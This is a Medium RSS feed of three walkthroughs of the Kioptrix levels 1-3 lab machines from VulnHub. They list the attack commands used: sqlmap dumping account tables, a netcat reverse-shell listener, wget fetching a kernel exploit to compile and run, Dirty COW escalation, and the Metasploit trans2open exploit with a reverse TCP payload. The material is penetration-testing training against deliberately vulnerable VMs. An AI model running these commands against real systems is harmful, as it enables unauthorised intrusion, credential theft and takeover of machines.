<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohamed Yasser on Medium]]></title>
        <description><![CDATA[Stories by Mohamed Yasser on Medium]]></description>
        <link>https://medium.com/@my82965431?source=rss-6a1017c6c62b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*4_EnenY0b4nXk09J</url>
            <title>Stories by Mohamed Yasser on Medium</title>
            <link>https://medium.com/@my82965431?source=rss-6a1017c6c62b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 10:43:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@my82965431/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[kioptrix level 3 WalkThrough]]></title>
            <link>https://medium.com/@my82965431/kioptrix-level-3-walkthrough-f990944e5f2c?source=rss-6a1017c6c62b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f990944e5f2c</guid>
            <dc:creator><![CDATA[Mohamed Yasser]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 18:51:41 GMT</pubDate>
            <atom:updated>2025-09-12T18:51:41.365Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*lZJ6JuUnU9koQgJ09YkgTA.jpeg" /></figure><h3>Kioptrix Level 3 is designed to teach penetration testing fundamentals.<br>The goal: Gain root access on the machine.</h3><h3>=&gt; You Can Downlad the Machien from this =&gt; <a href="https://www.vulnhub.com/entry/kioptrix-level-12-3,24/">link</a></h3><p>First we need the IP of the machine:</p><pre>arb-scan 192.168.11.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*oQRCEPamd2vxCFlm1k2GoA.png" /></figure><h3>=&gt;Using the IP Make Nmap Scan to discover the open Ports and Services</h3><pre>arp-scan network-id<br>nmap -sV -A -p- &quot;Kioptrix3-IP&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*tS0209ftU7CPmywneVJQ6A.png" /></figure><p>Output highlights:</p><ul><li><strong>Port 22</strong> → SSH (OpenSSH)</li><li><strong>Port 80</strong> → Apache + PHP</li></ul><p>So we’ve got a web app and SSH.</p><p>Open the IP via the Browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2xyiDXs8HAPZwdRvt5A8GQ.png" /></figure><p>go to login page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8lBek_ErY7su6h4de7tHWQ.png" /></figure><pre>dirb http://192.168.11.139</pre><p>We foung gallery page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G1uvUD7zC3w7S59yqjWeXw.png" /></figure><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=filename&quot; --dbs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*3tlYswAvFRqeK1LiRO_dQQ.png" /></figure><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=filename&quot; -D gallery </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AExe16DQpYUTm36rJ9z57A.png" /></figure><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=size#photos&quot; \<br>       -D gallery -T dev_accounts --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9zE_fN2rWsnWZGW1FsLl3w.png" /></figure><pre>ssh loneferret@192.168.11.139 -oHostKeyAlgorithms=+ssh-rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*8Kz46OmUHYD2A1xXI3Nacg.png" /></figure><p>we need to do privilege escalation</p><p>I downloaded a public Dirty COW exploit from Exploit-DB onto the target system and compiled it:</p><p>I compiled and executed the <strong>firefart Dirty COW exploit</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*zGiCjOKHYxSsPqwsCNDCUw.jpeg" /></figure><p>and again we use SSH to access the machine but this time as a root</p><pre>ssh loneferret@192.168.11.139 -oHostKeyAlgorithms=+ssh-rsa firefart@192.168.11.139</pre><pre>su - firefart<br>firefart@Kioptrix3:~# whoami<br>firefart</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*yBFLuWBAr4tCQtBPqEwnHA.jpeg" /></figure><p><strong>Now we have the access as an admin</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f990944e5f2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[kioptrix level 2 WalkThrough]]></title>
            <link>https://medium.com/@my82965431/kioptrix-level-2-walkthrough-2d75299a7b5e?source=rss-6a1017c6c62b------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d75299a7b5e</guid>
            <dc:creator><![CDATA[Mohamed Yasser]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 13:22:04 GMT</pubDate>
            <atom:updated>2025-09-12T13:22:04.375Z</atom:updated>
            <content:encoded><![CDATA[<h3>=&gt; You Can Downlad the Machien from this =&gt; <a href="https://www.vulnhub.com/entry/kioptrix-level-11-2,23/">link</a></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*z8GwRhZMdjz4ofVQa3nmNg.jpeg" /></figure><h3>The goal: Gain root access on the machine.</h3><p>First we need the IP of the machine:</p><pre>arb-scan 192.168.11.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*ssLsgxBZZhCurYDVpP-IBQ.png" /></figure><h3>=&gt;Using the IP Make Nmap Scan to discover the open Ports and Services</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*sKIa9a55Ez3NsW2sCt3dIA.png" /></figure><p>Open the IP via the Browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*16hd91V7ANkl6k5yavpJPg.png" /></figure><p>tLet’</p><p>s try Basic SQL injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*mwOgUP1SIlBUBTDDacmkoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*UCLe4q7ngmqS5XICMvqbTA.png" /></figure><p>we need to listen;</p><pre><br>nc -lnvp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*SJwrykiI-lH-Id02ti5YpQ.png" /></figure><pre># to get the Kernal Version<br>uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*GJTNECR8g3T5mpEt-zlKLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*NWgcV9R8V_NNpKCHZR8eWA.png" /></figure><pre># Open python server to get send the expliot script<br>python -m http.server 80 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*fp8Y6eJF8noYzpqTo39UYw.png" /></figure><pre># at kioptrix download the file<br>wget http://&lt;Machine_IP&gt;/script.c<br><br>gcc script.c -o exploit <br><br>./exploit   # Welcome Root ^.^ </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*YzqDH8aWtzYWR125WO6FdQ.png" /></figure><p><strong>Goal achieved: Get root access on the device.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d75299a7b5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[kioptrix level 1 WalkThrough]]></title>
            <link>https://medium.com/@my82965431/kioptrix-level-1-walkthrough-48c0b0cf363e?source=rss-6a1017c6c62b------2</link>
            <guid isPermaLink="false">https://medium.com/p/48c0b0cf363e</guid>
            <dc:creator><![CDATA[Mohamed Yasser]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 13:00:33 GMT</pubDate>
            <atom:updated>2025-09-12T13:00:33.780Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hlzr9uY7sjI1q9WwAKbHFg.jpeg" /></figure><p>Note:</p><blockquote><em>You Can Download the VM From Vulnhub via this =&gt; </em><a href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/"><em>link</em></a></blockquote><blockquote><em>in this Machine we will Try to Get the root access on the machine.</em></blockquote><p>First we need the IP of the machine:</p><pre>arb-scan 192.168.11.0/24</pre><h3>=&gt;Using the IP Make Nmap Scan to discover the open Ports and Services</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*LjS0j5ytGZDXWUQa1F6SlA.png" /></figure><p><strong>Note</strong><em>: samba Version didn’t Known so let’s Try to find it. =&gt; using metasploit</em></p><pre>msfconsole <br>search smb_version <br>use 0      # auxiliary/scanner/smb/smb_version<br>show options <br>set rhost &lt;Your_kioptrix_IP&gt;<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*7RtWcuJmHC0903j1UYbDWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*rZLYbk7DXUQ9ExmwdTvzFA.png" /></figure><p>Let`s do a Quicke search to get the vulnerabilty:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Al8BO-QREVK2bZY_vdqjoA.png" /></figure><p>Let’s Try to gain access.</p><pre>use 1 # exploit/linux/samba/trans2open<br>show options <br>set rhosts 192.168.12.129  # user yours <br>set payload linux/86/shell/reverse_tcp<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*u0OWgi6Xj4Lsy2HQJIlvPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*RcK_f2D5329sSRypNWc1Cg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*3BkPdP2kyd0k7UAGYqodGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*hxlGkeJ-3vGLuiZwWTO_dA.png" /></figure><h3>The acheived the goal : We Gain root access on the machine.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48c0b0cf363e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>